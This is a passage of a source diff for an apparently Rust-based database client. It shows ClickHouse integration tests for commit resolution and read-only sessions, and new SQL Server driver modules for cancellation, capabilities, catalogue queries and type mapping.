Err(DriverError::CommitOutcomeUnknown { token: Some(token), .. }) = outcome else { + panic!("a killed mutation wait gave {outcome:?}"); + }; + let resolved = resolution(connection.as_ref(), &token).await; + assert!( + matches!(resolved, CommitResolution::StillRunning | CommitResolution::Applied), + "the killed ALTER's mutation was not found: {resolved:?}" + ); + monitor.close().await; + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn failing_mutation_unfinished_is_unknown_and_still_running() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("failing"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (id Int32, n UInt8, s String) ENGINE = MergeTree ORDER BY id"), + &format!("INSERT INTO {qualified} VALUES (1, 0, 'abc')"), + ], + ) + .await; + + let outcome = apply( + connection.as_ref(), + WriteKind::RowChanges, + &[&format!("ALTER TABLE {qualified} UPDATE n = toUInt8(s) WHERE 1")], + ) + .await; + + let Err(DriverError::CommitOutcomeUnknown { token: Some(token), .. }) = outcome else { + panic!("a failing mutation gave {outcome:?}"); + }; + assert_eq!( + resolution(connection.as_ref(), &token).await, + CommitResolution::StillRunning + ); + admin( + connection.as_ref(), + &format!("KILL MUTATION WHERE database = '{DATABASE}' AND table = '{name}' SYNC"), + ) + .await; + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn resolve_finished_insert_applied() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("finished"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[ + &format!("CREATE TABLE {qualified} (id Int32) ENGINE = MergeTree ORDER BY id"), + &format!("INSERT INTO {qualified} VALUES (1)"), + ], + ) + .await; + let query_id = logged_query_id( + connection.as_ref(), + &format!("type = 'QueryFinish' AND query_kind = 'Insert' AND has(tables, '{DATABASE}.{name}')"), + ) + .await; + + let token = CommitToken::ClickHouseQuery { + query_ids: vec![query_id], + first_unconfirmed: 0, + }; + + assert_eq!(resolution(connection.as_ref(), &token).await, CommitResolution::Applied); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn resolve_random_id_unresolvable() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let token = CommitToken::ClickHouseQuery { + query_ids: vec![uuid::Uuid::new_v4()], + first_unconfirmed: 0, + }; + + assert_eq!( + resolution(connection.as_ref(), &token).await, + CommitResolution::Unresolvable + ); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn resolve_syntax_error_insert_not_applied() { + let fixture = start().await; + let connection = connect(&fixture, false).await; + let name = unique("syntax"); + let qualified = quoted(&name); + setup( + connection.as_ref(), + &[&format!( + "CREATE TABLE {qualified} (id Int32) ENGINE = MergeTree ORDER BY id" + )], + ) + .await; + + let refused = apply( + connection.as_ref(), + WriteKind::RowChanges, + &[&format!("INSERT INTO {qualified} (id SELECT 1")], + ) + .await; + assert!( + matches!(refused, Err(DriverError::RolledBack { statement_index: 0, .. })), + "{refused:?}" + ); + let query_id = logged_query_id( + connection.as_ref(), + &format!("type = 'ExceptionBeforeStart' AND exception_code = 62 AND query LIKE '%{name}%'"), + ) + .await; + let token = CommitToken::ClickHouseQuery { + query_ids: vec![query_id], + first_unconfirmed: 0, + }; + + assert_eq!( + resolution(connection.as_ref(), &token).await, + CommitResolution::NotApplied + ); + connection.close().await.expect("a close"); +} + +#[tokio::test] +#[ignore = "requires docker"] +async fn read_only_insert_164() { + let fixture = start().await; + let owner = connect(&fixture, false).await; + let qualified = quoted(&unique("read_only")); + setup( + owner.as_ref(), + &[&format!( + "CREATE TABLE {qualified} (id Int32) ENGINE = MergeTree ORDER BY id" + )], + ) + .await; + let reader = connect(&fixture, true).await; + + let editor = session(reader.as_ref()).await; + let (summary, _) = run(editor.as_ref(), &format!("INSERT INTO {qualified} VALUES (1)")).await; + let saved = apply( + reader.as_ref(), + WriteKind::RowChanges, + &[&format!("INSERT INTO {qualified} VALUES (2)")], + ) + .await; + + let RunEnd::Failed(DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics))) = &summary.end else { + panic!("an INSERT on a read-only session ended {:?}", summary.end); + }; + assert_eq!(diagnostics.code, Some(ServerCode::ClickHouse { code: 164 })); + assert_eq!(saved, Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard))); + assert_eq!( + count(owner.as_ref(), &format!("SELECT count() FROM {qualified}")).await, + 0 + ); + editor.close().await; + reader.close().await.expect("a close"); + owner.close().await.expect("a close"); +} diff --git a/linux/crates/drivers/mssql/Cargo.toml b/linux/crates/drivers/mssql/Cargo.toml index 38a21fdc46..96578eea29 100644 --- a/linux/crates/drivers/mssql/Cargo.toml +++ b/linux/crates/drivers/mssql/Cargo.toml @@ -15,19 +15,26 @@ kerberos = ["tiberius/integrated-auth-gssapi"] [dependencies] tablepro-core = { path = "../../core" } +tablepro-net = { path = "../../net" } async-trait.workspace = true chrono.workspace = true -futures.workspace = true +deadpool.workspace = true +futures-util.workspace = true secrecy.workspace = true tiberius.workspace = true -tokio.workspace = true -tokio-util = { workspace = true, features = ["compat"] } +tokio = { workspace = true, features = ["macros", "rt", "sync", "time"] } +tokio-util = { workspace = true, features = ["compat", "rt"] } +tracing.workspace = true +uuid.workspace = true [dev-dependencies] -rust_decimal.workspace = true -testcontainers.workspace = true -testcontainers-modules = { workspace = true, features = ["mssql_server"] } -tokio = { workspace = true, features = ["macros", "rt-multi-thread"] } +tablepro-test-fixtures = { path = "../../test-fixtures" } +tablepro-test-support = { path = "../../test-support" } +async-trait.workspace = true +chrono.workspace = true +secrecy.workspace = true +tokio = { workspace = true, features = ["io-util", "macros", "rt-multi-thread", "test-util"] } +tokio-util = { workspace = true, features = ["rt"] } uuid.workspace = true [lints] diff --git a/linux/crates/drivers/mssql/src/cancel.rs b/linux/crates/drivers/mssql/src/cancel.rs new file mode 100644 index 0000000000..ddb820918b --- /dev/null +++ b/linux/crates/drivers/mssql/src/cancel.rs @@ -0,0 +1,138 @@ +use std::sync::{Mutex, MutexGuard, PoisonError}; + +use async_trait::async_trait; +use tablepro_core::{DriverError, EngineStop, LossPhase, StopDelivery, StopReason, StopRequest, TimeoutPhase}; + +/// How far a call's attention got. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum StopProgress { + NotSent, + /// The server answered the attention, or answered something: the + /// route to it is alive. + Delivered, + /// Nothing came back within the cancel budget, so the route itself + /// is in doubt. + Failed, +} + +/// SQL Server's stop: a TDS attention on the connection the request +/// runs on. +/// +/// tiberius borrows the client for the whole request, so only the task +/// that owns it can send the attention, and it does so itself when the +/// call's stop request fires. There is nothing for `OwnedCalls` to send. +#[derive(Debug)] +pub(crate) struct MssqlStop { + progress: Mutex, +} + +impl MssqlStop { + pub(crate) fn new() -> Self { + Self { + progress: Mutex::new(StopProgress::NotSent), + } + } + + pub(crate) fn progress(&self) -> StopProgress { + *lock(&self.progress) + } + + pub(crate) fn record(&self, progress: StopProgress) { + *lock(&self.progress) = progress; + } +} + +#[async_trait] +impl EngineStop for MssqlStop { + fn delivery(&self) -> StopDelivery { + StopDelivery::InBand + } + + async fn stop(&self) -> Result<(), DriverError> { + Ok(()) + } + + /// The work returns `Cancelled` only once the server has confirmed + /// the attention, or once a stop arrived before anything was sent. + fn acknowledged(&self, error: &DriverError) -> bool { + matches!(error, DriverError::Cancelled) + } +} + +/// What a stop the server confirmed reads as, for a write, whose result +/// `OwnedCalls` passes through untouched. +pub(crate) fn acknowledged_stop(request: &StopRequest) -> DriverError { + match request.reason() { + Some(StopReason::DeadlineElapsed) => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }, + Some(StopReason::Cancelled | StopReason::Shutdown) | None => DriverError::Cancelled, + } +} + +/// What a stop reads as when the server never confirmed it. +pub(crate) fn unconfirmed_stop(request: &StopRequest) -> DriverError { + match request.reason() { + Some(StopReason::DeadlineElapsed) => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + }, + Some(StopReason::Shutdown) => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + Some(StopReason::Cancelled) | None => DriverError::Cancelled, + } +} + +fn lock(mutex: &Mutex) -> MutexGuard<'_, T> { + mutex.lock().unwrap_or_else(PoisonError::into_inner) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_stop_travels_in_band_and_only_cancelled_acknowledges_it() { + let stop = MssqlStop::new(); + + assert_eq!(stop.delivery(), StopDelivery::InBand); + assert!(stop.acknowledged(&DriverError::Cancelled)); + assert!(!stop.acknowledged(&DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false, + })); + assert_eq!(stop.progress(), StopProgress::NotSent); + stop.record(StopProgress::Failed); + assert_eq!(stop.progress(), StopProgress::Failed); + } + + #[test] + fn a_stop_reads_as_its_reason() { + let deadline = StopRequest::new(); + deadline.request(StopReason::DeadlineElapsed); + let shutdown = StopRequest::new(); + shutdown.request(StopReason::Shutdown); + + assert_eq!( + acknowledged_stop(&deadline), + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + } + ); + assert_eq!( + unconfirmed_stop(&deadline), + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: false + } + ); + assert!(matches!( + unconfirmed_stop(&shutdown), + DriverError::ConnectionLost { .. } + )); + assert_eq!(unconfirmed_stop(&StopRequest::new()), DriverError::Cancelled); + } +} diff --git a/linux/crates/drivers/mssql/src/capabilities.rs b/linux/crates/drivers/mssql/src/capabilities.rs new file mode 100644 index 0000000000..a427e8a51b --- /dev/null +++ b/linux/crates/drivers/mssql/src/capabilities.rs @@ -0,0 +1,74 @@ +use tablepro_core::meta::ObjectKind; +use tablepro_core::{ + AuthMode, CommitResolutionSupport, DriverCapabilities, EndpointKind, EstimateQuality, ReadOnlyEnforcement, + ScriptExecution, ServerNameOverride, TlsCapabilities, TlsMode, WriteAtomicity, +}; + +pub(crate) const DEFAULT_PORT: u16 = 1433; + +/// Integrated login needs MIT Kerberos at build time, so a build without +/// it never offers the mode. +#[cfg(feature = "kerberos")] +const AUTH_MODES: &[AuthMode] = &[AuthMode::Password, AuthMode::Kerberos]; +#[cfg(not(feature = "kerberos"))] +const AUTH_MODES: &[AuthMode] = &[AuthMode::Password]; + +pub(crate) static CAPABILITIES: DriverCapabilities = DriverCapabilities { + endpoint: EndpointKind::Network { + default_port: DEFAULT_PORT, + }, + auth_modes: AUTH_MODES, + // tiberius can present a client certificate, but SQL Server logins + // are not authenticated by one, so there is nothing for it to prove. + tls: Some(TlsCapabilities { + modes: &[TlsMode::Disable, TlsMode::Require, TlsMode::VerifyFull], + ca_file: true, + client_identity: false, + server_name_override: ServerNameOverride::AnyRoute, + }), + // SQL Server has no read-only session, so only the login's own + // permissions hold a read-only connection to it. + read_only: ReadOnlyEnforcement::LoginPrivileges, + dml_writes: WriteAtomicity::Transactional, + ddl_writes: WriteAtomicity::Transactional, + script_execution: ScriptExecution::NativeBatch, + commit_resolution: CommitResolutionSupport::Unavailable, + row_count_estimate: EstimateQuality::Statistics, + object_kinds: &[ + ObjectKind::Table, + ObjectKind::View, + ObjectKind::Sequence, + ObjectKind::Function, + ObjectKind::Procedure, + ], + database_required: false, +}; + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn auth_modes_follow_kerberos_feature() { + assert!(CAPABILITIES.supports(AuthMode::Password)); + assert_eq!(CAPABILITIES.supports(AuthMode::Kerberos), cfg!(feature = "kerberos")); + } + + #[test] + fn capabilities_match_driver_contract() { + assert_eq!(CAPABILITIES.default_port(), Some(1433)); + let tls = CAPABILITIES.tls.expect("SQL Server offers TLS"); + assert_eq!(tls.modes.len(), 3); + assert!(tls.ca_file); + assert!(!tls.client_identity); + assert_eq!(tls.server_name_override, ServerNameOverride::AnyRoute); + assert_eq!(CAPABILITIES.read_only, ReadOnlyEnforcement::LoginPrivileges); + assert_eq!(CAPABILITIES.dml_writes, WriteAtomicity::Transactional); + assert_eq!(CAPABILITIES.ddl_writes, WriteAtomicity::Transactional); + assert_eq!(CAPABILITIES.script_execution, ScriptExecution::NativeBatch); + assert_eq!(CAPABILITIES.commit_resolution, CommitResolutionSupport::Unavailable); + assert_eq!(CAPABILITIES.row_count_estimate, EstimateQuality::Statistics); + assert_eq!(CAPABILITIES.object_kinds.len(), 5); + assert!(!CAPABILITIES.database_required); + } +} diff --git a/linux/crates/drivers/mssql/src/catalog/cells.rs b/linux/crates/drivers/mssql/src/catalog/cells.rs new file mode 100644 index 0000000000..eb9ef1c506 --- /dev/null +++ b/linux/crates/drivers/mssql/src/catalog/cells.rs @@ -0,0 +1,81 @@ +use tablepro_core::DriverError; +use tablepro_core::value::Value; + +/// One decoded row of a catalogue query, read by position. +/// +/// The catalogue's bit and small integer columns arrive as whatever +/// TDS type the projection produced, so each reader accepts every form +/// the value can take instead of one exact type. +#[derive(Debug, Clone, Copy)] +pub(crate) struct Cells<'a> { + values: &'a [Value], + query: &'static str, +} + +impl<'a> Cells<'a> { + pub(crate) fn new(values: &'a [Value], query: &'static str) -> Self { + Self { values, query } + } + + pub(crate) fn text(&self, index: usize) -> Option { + match self.values.get(index) { + Some(Value::Text(text)) => Some(text.clone()), + _ => None, + } + } + + /// A text column the query never returns NULL for. + pub(crate) fn required_text(&self, index: usize) -> Result { + self.text(index).ok_or_else(|| self.missing(index)) + } + + pub(crate) fn int(&self, index: usize) -> Option { + match self.values.get(index) { + Some(Value::Int(integer)) => Some(*integer), + Some(Value::UInt(integer)) => i64::try_from(*integer).ok(), + Some(Value::Bool(flag)) => Some(i64::from(*flag)), + Some(Value::Decimal(decimal)) => match decimal.to_scaled_i128() { + Some((mantissa, 0)) => i64::try_from(mantissa).ok(), + _ => None, + }, + _ => None, + } + } + + pub(crate) fn flag(&self, index: usize) -> bool { + self.int(index).is_some_and(|integer| integer != 0) + } + + fn missing(&self, index: usize) -> DriverError { + DriverError::Decode { + column: format!("{} column {index}", self.query), + detail: format!("expected text, read {:?}", self.values.get(index)), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn readers_accept_every_form_a_catalogue_value_takes() { + let values = [ + Value::Bool(true), + Value::Int(0), + Value::Decimal("42".parse().unwrap()), + Value::Text("dbo".to_owned()), + Value::Null, + ]; + let cells = Cells::new(&values, "test"); + + assert!(cells.flag(0)); + assert!(!cells.flag(1)); + assert_eq!(cells.int(2), Some(42)); + assert_eq!(cells.text(3).as_deref(), Some("dbo")); + assert_eq!(cells.text(4), None); + assert!(!cells.flag(4)); + assert!(matches!(cells.required_text(4), Err(DriverError::Decode { .. }))); + assert_eq!(cells.int(9), None); + } +} diff --git a/linux/crates/drivers/mssql/src/catalog/mod.rs b/linux/crates/drivers/mssql/src/catalog/mod.rs new file mode 100644 index 0000000000..4647009080 --- /dev/null +++ b/linux/crates/drivers/mssql/src/catalog/mod.rs @@ -0,0 +1,270 @@ +//! SQL Server's catalogue, classified into the app's column model. + +mod cells; +mod mssql_column_row; +mod sql_server_type; +mod table_definition; + +use tablepro_core::column::{ + BoolStorage, ColumnDefault, ColumnInfo, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, ReadForm, + ResultColumn, SqlExpression, TemporalZone, TextLength, TimeRange, +}; +use tablepro_core::ddl::{ + CollationName, ColumnAttributes, ColumnDefinition, GeneratedColumn, GeneratedStorage, IdentityStyle, +}; +use tablepro_core::edit::parse_literal_text; +use tablepro_core::sql_syntax::{LiteralToken, MAX_EXPRESSION_LEN, SqlGrammar, parse_expression}; +use tablepro_core::value::Value; +use tiberius::{Column, ColumnType as TdsType}; + +pub(crate) use cells::Cells; +pub(crate) use mssql_column_row::{COLUMNS_SQL, MssqlColumnRow}; +pub(crate) use sql_server_type::SqlServerType; +pub(crate) use table_definition::{INBOUND_FOREIGN_KEYS_SQL, PRIMARY_KEY_SQL, inbound_foreign_keys, primary_key}; + +/// A column as browse and the insert form see it. +pub(crate) fn column_info(row: &MssqlColumnRow) -> ColumnInfo { + let (column_type, server_written) = row.sql_type.column_type(); + // An IDENTITY column has a seed and an increment, not a DEFAULT, so + // the insert form leaves it to the server. + let default = match row.identity { + true => ColumnDefault::None, + false => classify_default(row.default_definition.as_deref(), &column_type), + }; + ColumnInfo { + name: row.name.clone(), + column_type, + nullable: row.nullable, + primary_key: row.primary_key, + is_auto_increment: row.identity, + is_generated: row.computed || server_written, + default, + comment: row.comment.clone(), + } +} + +/// A column as a structure change has to restate it. +pub(crate) fn column_definition(row: &MssqlColumnRow) -> ColumnDefinition { + let generated = match (&row.computed_definition, row.computed) { + (Some(expression), true) => Some(GeneratedColumn { + expression: SqlExpression::from_catalog_text(expression.as_str()), + storage: match row.persisted { + true => GeneratedStorage::Stored, + false => GeneratedStorage::Virtual, + }, + }), + _ => None, + }; + let attributes = ColumnAttributes { + collation: row.collation.as_deref().map(|name| CollationName::new(None, name)), + generated, + sparse: row.sparse, + identity: match row.identity { + true => IdentityStyle::MssqlIdentity, + false => IdentityStyle::None, + }, + default_constraint_name: row.default_constraint.clone(), + ..ColumnAttributes::default() + }; + ColumnDefinition::new(column_info(row), attributes) +} + +/// A DEFAULT as a value the insert path can bind where it is a literal, +/// and as the server's expression otherwise. The catalogue wraps every +/// definition in parentheses, `((0))` and `(N'x')` included, and the +/// parser peels them. +pub(crate) fn classify_default(text: Option<&str>, column_type: &ColumnType) -> ColumnDefault { + let Some(text) = text.map(str::trim).filter(|text| !text.is_empty()) else { + return ColumnDefault::None; + }; + let expression = || ColumnDefault::Expression(SqlExpression::from_catalog_text(text)); + let Ok(parsed) = parse_expression(SqlGrammar::MsSql, text, MAX_EXPRESSION_LEN) else { + return expression(); + }; + let literal_text = match parsed.literal { + None => return expression(), + Some(LiteralToken::Null) => return ColumnDefault::None, + Some(LiteralToken::Text(text)) => text, + Some(LiteralToken::Number(number)) => number.to_string(), + Some(LiteralToken::Boolean(flag)) => flag.to_string(), + }; + match parse_literal_text(&literal_text, column_type) { + Ok(Value::Null) | Err(_) => expression(), + Ok(value) => ColumnDefault::Literal(value), + } +} + +/// A result column, which TDS describes by its wire type alone. +pub(crate) fn result_column(column: &Column) -> ResultColumn { + let tds = column.column_type(); + let integer = |width, signed| ColumnKind::Integer(IntegerKind { width, signed }); + let unbounded_text = ColumnKind::Text { + length: TextLength::Unbounded, + }; + let kind = match tds { + TdsType::Bit | TdsType::Bitn => ColumnKind::Bool(BoolStorage::Native), + TdsType::Int1 => integer(IntegerWidth::W8, false), + TdsType::Int2 => integer(IntegerWidth::W16, true), + TdsType::Int4 | TdsType::Intn => integer(IntegerWidth::W32, true), + TdsType::Int8 => integer(IntegerWidth::W64, true), + TdsType::Float4 => ColumnKind::Float(FloatWidth::F32), + // tiberius reads MONEY as a float, so here it is one. + TdsType::Float8 | TdsType::Floatn | TdsType::Money | TdsType::Money4 => ColumnKind::Float(FloatWidth::F64), + TdsType::Decimaln | TdsType::Numericn => ColumnKind::Decimal { + precision: None, + scale: None, + }, + TdsType::Daten => ColumnKind::Date, + TdsType::Timen => ColumnKind::Time { + fractional_digits: None, + with_offset: false, + range: TimeRange::TimeOfDay, + }, + TdsType::Datetime | TdsType::Datetimen | TdsType::Datetime4 | TdsType::Datetime2 => ColumnKind::Timestamp { + fractional_digits: None, + zone: TemporalZone::Naive, + }, + TdsType::DatetimeOffsetn => ColumnKind::Timestamp { + fractional_digits: None, + zone: TemporalZone::Offset, + }, + TdsType::Guid => ColumnKind::Uuid, + TdsType::BigChar + | TdsType::BigVarChar + | TdsType::NChar + | TdsType::NVarchar + | TdsType::Text + | TdsType::NText => unbounded_text, + // A CLR value such as geography arrives as its serialised bytes. + TdsType::BigBinary | TdsType::BigVarBin | TdsType::Image | TdsType::Udt => ColumnKind::Bytes { + length: TextLength::Unbounded, + }, + TdsType::Xml => ColumnKind::Xml, + TdsType::SSVariant => ColumnKind::Variant, + TdsType::Null => ColumnKind::Other, + }; + let name = match tds { + TdsType::Money | TdsType::Money4 => format!("{} (approximate)", type_label(tds)), + other => type_label(other).to_owned(), + }; + ResultColumn::new( + column.name(), + ColumnType { + name, + kind, + catalog: None, + dynamic_storage: false, + read_form: ReadForm::Native, + }, + ) +} + +/// The SQL name of a wire type. +pub(crate) fn type_label(tds: TdsType) -> &'static str { + match tds { + TdsType::Null => "null", + TdsType::Bit | TdsType::Bitn => "bit", + TdsType::Int1 => "tinyint", + TdsType::Int2 => "smallint", + TdsType::Int4 | TdsType::Intn => "int", + TdsType::Int8 => "bigint", + TdsType::Float4 => "real", + TdsType::Float8 | TdsType::Floatn => "float", + TdsType::Decimaln => "decimal", + TdsType::Numericn => "numeric", + TdsType::Money => "money", + TdsType::Money4 => "smallmoney", + TdsType::Datetime | TdsType::Datetimen => "datetime", + TdsType::Datetime4 => "smalldatetime", + TdsType::Datetime2 => "datetime2", + TdsType::DatetimeOffsetn => "datetimeoffset", + TdsType::Daten => "date", + TdsType::Timen => "time", + TdsType::Guid => "uniqueidentifier", + TdsType::BigChar => "char", + TdsType::BigVarChar => "varchar", + TdsType::NChar => "nchar", + TdsType::NVarchar => "nvarchar", + TdsType::Text => "text", + TdsType::NText => "ntext", + TdsType::BigBinary => "binary", + TdsType::BigVarBin => "varbinary", + TdsType::Image => "image", + TdsType::Xml => "xml", + TdsType::Udt => "udt", + TdsType::SSVariant => "sql_variant", + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn integer() -> ColumnType { + SqlServerType::parse("int").column_type().0 + } + + #[test] + fn classify_default_table() { + let text = SqlServerType::parse("nvarchar(20)").column_type().0; + let flag = SqlServerType::parse("bit").column_type().0; + + assert_eq!( + classify_default(Some("((0))"), &integer()), + ColumnDefault::Literal(Value::Int(0)) + ); + assert_eq!( + classify_default(Some("((-1))"), &integer()), + ColumnDefault::Literal(Value::Int(-1)) + ); + assert_eq!( + classify_default(Some("(N'it''s')"), &text), + ColumnDefault::Literal(Value::Text("it's".to_owned())) + ); + assert_eq!( + classify_default(Some("('pending')"), &text), + ColumnDefault::Literal(Value::Text("pending".to_owned())) + ); + assert!(matches!( + classify_default(Some("(getdate())"), &integer()), + ColumnDefault::Expression(expression) if expression.as_sql() == "(getdate())" + )); + assert!(matches!( + classify_default(Some("((1))"), &flag), + ColumnDefault::Literal(_) | ColumnDefault::Expression(_) + )); + assert_eq!(classify_default(Some("(NULL)"), &text), ColumnDefault::None); + assert_eq!(classify_default(None, &text), ColumnDefault::None); + } + + #[test] + fn an_unbalanced_definition_stays_the_servers_expression() { + assert!(matches!( + classify_default(Some("(a)+(b)"), &integer()), + ColumnDefault::Expression(expression) if expression.as_sql() == "(a)+(b)" + )); + } + + #[test] + fn column_type_names_are_human_readable() { + assert_eq!(type_label(TdsType::Int4), "int"); + assert_eq!(type_label(TdsType::NVarchar), "nvarchar"); + assert_eq!(type_label(TdsType::Datetime2), "datetime2"); + assert_eq!(type_label(TdsType::Guid), "uniqueidentifier"); + assert_eq!(type_label(TdsType::Bit), "bit"); + } + + #[test] + fn editor_money_is_labelled_approximate() { + let money = result_column(&Column::new("price".to_owned(), TdsType::Money)); + + assert_eq!(money.column_type.name, "money (approximate)"); + assert_eq!(money.column_type.kind, ColumnKind::Float(FloatWidth::F64)); + assert_eq!( + result_column(&Column::new("v".to_owned(), TdsType::SSVariant)) + .column_type + .kind, + ColumnKind::Variant + ); + } +} diff --git a/linux/crates/drivers/mssql/src/catalog/mssql_column_row.rs b/linux/crates/drivers/mssql/src/catalog/mssql_column_row.rs new file mode 100644 index 0000000000..2db4d683e1 --- /dev/null +++ b/linux/crates/drivers/mssql/src/catalog/mssql_column_row.rs @@ -0,0 +1,161 @@ +use tablepro_core::DriverError; +use tablepro_core::value::Value; + +use super::cells::Cells; +use super::sql_server_type::{CatalogFacts, SqlServerType}; + +/// Every column of one table, read from `sys.columns`. +/// +/// An alias type is classified by the system type it is stored as, +/// which `TYPE_NAME(system_type_id)` names; a CLR type keeps its own +/// name. A collation is reported only where it differs from the +/// database's, which is the default a column takes. +pub(crate) const COLUMNS_SQL: &str = "SELECT \ + c.name, \ + t.name, \ + CASE WHEN t.is_assembly_type = 0 AND t.user_type_id <> t.system_type_id \ + THEN TYPE_NAME(t.system_type_id) ELSE t.name END, \ + SCHEMA_NAME(t.schema_id), \ + CAST(t.is_user_defined AS int), \ + CAST(CASE WHEN t.is_assembly_type = 0 AND t.user_type_id <> t.system_type_id THEN 1 ELSE 0 END AS int), \ + CAST(CASE WHEN t.is_assembly_type = 1 AND t.is_user_defined = 1 THEN 1 ELSE 0 END AS int), \ + CAST(c.max_length AS int), \ + CAST(c.precision AS int), \ + CAST(c.scale AS int), \ + CAST(c.is_nullable AS int), \ + CAST(c.is_identity AS int), \ + CAST(c.is_computed AS int), \ + dc.definition, \ + dc.name, \ + CAST(CASE WHEN pk.column_id IS NOT NULL THEN 1 ELSE 0 END AS int), \ + CAST(ep.value AS nvarchar(max)), \ + CASE WHEN c.collation_name COLLATE DATABASE_DEFAULT \ + <> CAST(DATABASEPROPERTYEX(DB_NAME(), 'Collation') AS nvarchar(128)) COLLATE DATABASE_DEFAULT \ + THEN c.collation_name END, \ + CAST(c.is_sparse AS int), \ + cc.definition, \ + CAST(ISNULL(cc.is_persisted, 0) AS int) \ + FROM sys.columns c \ + JOIN sys.types t ON t.user_type_id = c.user_type_id \ + LEFT JOIN sys.default_constraints dc ON dc.object_id = c.default_object_id \ + LEFT JOIN sys.computed_columns cc ON cc.object_id = c.object_id AND cc.column_id = c.column_id \ + LEFT JOIN ( \ + SELECT ic.object_id, ic.column_id \ + FROM sys.index_columns ic \ + JOIN sys.indexes i ON i.object_id = ic.object_id AND i.index_id = ic.index_id \ + WHERE i.is_primary_key = 1 \ + ) pk ON pk.object_id = c.object_id AND pk.column_id = c.column_id \ + LEFT JOIN sys.extended_properties ep \ + ON ep.class = 1 AND ep.major_id = c.object_id AND ep.minor_id = c.column_id \ + AND ep.name = 'MS_Description' \ + WHERE c.object_id = OBJECT_ID(@P1) \ + ORDER BY c.column_id"; + +/// One row of `COLUMNS_SQL`. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct MssqlColumnRow { + pub(crate) name: String, + pub(crate) sql_type: SqlServerType, + pub(crate) nullable: bool, + pub(crate) identity: bool, + pub(crate) computed: bool, + pub(crate) default_definition: Option, + pub(crate) default_constraint: Option, + pub(crate) primary_key: bool, + pub(crate) comment: Option, + pub(crate) collation: Option, + pub(crate) sparse: bool, + pub(crate) computed_definition: Option, + pub(crate) persisted: bool, +} + +impl MssqlColumnRow { + pub(crate) fn from_values(values: &[Value]) -> Result { + let cells = Cells::new(values, "sys.columns"); + let type_name = cells.required_text(1)?; + let base_type = cells.text(2).unwrap_or_else(|| type_name.clone()); + let type_schema = cells.text(3); + let sql_type = SqlServerType::from_catalog(CatalogFacts { + type_name: &type_name, + base_type: &base_type, + type_schema: type_schema.as_deref(), + user_defined: cells.flag(4), + alias: cells.flag(5), + user_clr: cells.flag(6), + max_length: cells.int(7).unwrap_or(0), + precision: cells.int(8).unwrap_or(0), + scale: cells.int(9).unwrap_or(0), + }); + Ok(Self { + name: cells.required_text(0)?, + sql_type, + nullable: cells.flag(10), + identity: cells.flag(11), + computed: cells.flag(12), + default_definition: cells.text(13), + default_constraint: cells.text(14), + primary_key: cells.flag(15), + comment: cells.text(16), + collation: cells.text(17), + sparse: cells.flag(18), + computed_definition: cells.text(19), + persisted: cells.flag(20), + }) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn text(value: &str) -> Value { + Value::Text(value.to_owned()) + } + + #[test] + fn a_catalogue_row_reads_by_position() { + let values = vec![ + text("price"), + text("money"), + text("money"), + text("sys"), + Value::Int(0), + Value::Int(0), + Value::Int(0), + Value::Int(8), + Value::Int(19), + Value::Int(4), + Value::Int(1), + Value::Int(0), + Value::Int(0), + text("((0))"), + text("DF_items_price"), + Value::Int(0), + text("what it costs"), + Value::Null, + Value::Int(0), + Value::Null, + Value::Int(0), + ]; + + let row = MssqlColumnRow::from_values(&values).unwrap(); + + assert_eq!(row.name, "price"); + assert_eq!(row.sql_type.declaration(), "money"); + assert!(row.nullable); + assert_eq!(row.default_definition.as_deref(), Some("((0))")); + assert_eq!(row.default_constraint.as_deref(), Some("DF_items_price")); + assert_eq!(row.comment.as_deref(), Some("what it costs")); + assert_eq!(row.collation, None); + } + + #[test] + fn a_row_without_a_name_is_a_decode_error() { + let values = vec![Value::Null, text("int")]; + + assert!(matches!( + MssqlColumnRow::from_values(&values), + Err(DriverError::Decode { .. }) + )); + } +} diff --git a/linux/crates/drivers/mssql/src/catalog/sql_server_type.rs b/linux/crates/drivers/mssql/src/catalog/sql_server_type.rs new file mode 100644 index 0000000000..3571b5e87b --- /dev/null +++ b/linux/crates/drivers/mssql/src/catalog/sql_server_type.rs @@ -0,0 +1,493 @@ +use tablepro_core::column::{ + BoolStorage, CatalogType, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, ReadForm, SqlTypeExpr, + TemporalZone, TextLength, TimeRange, +}; + +/// How long a character or binary type is declared. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Length { + Unspecified, + Max, + /// Characters for character types, bytes for binary ones. + Of(u32), +} + +/// A SQL Server type, from the catalogue or from text the user typed. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct SqlServerType { + /// The system type values are stored as, in lower case. + base: String, + length: Length, + precision: Option, + scale: Option, + /// The name of an alias type or a CLR type, as DDL has to restate it. + alias: Option, + /// A type the driver cannot see into: a CLR type nobody ships with + /// the server, or an alias typed by name. It is read as the server's + /// text. + opaque: bool, +} + +/// What the app makes of a type. +#[derive(Debug, Clone, PartialEq, 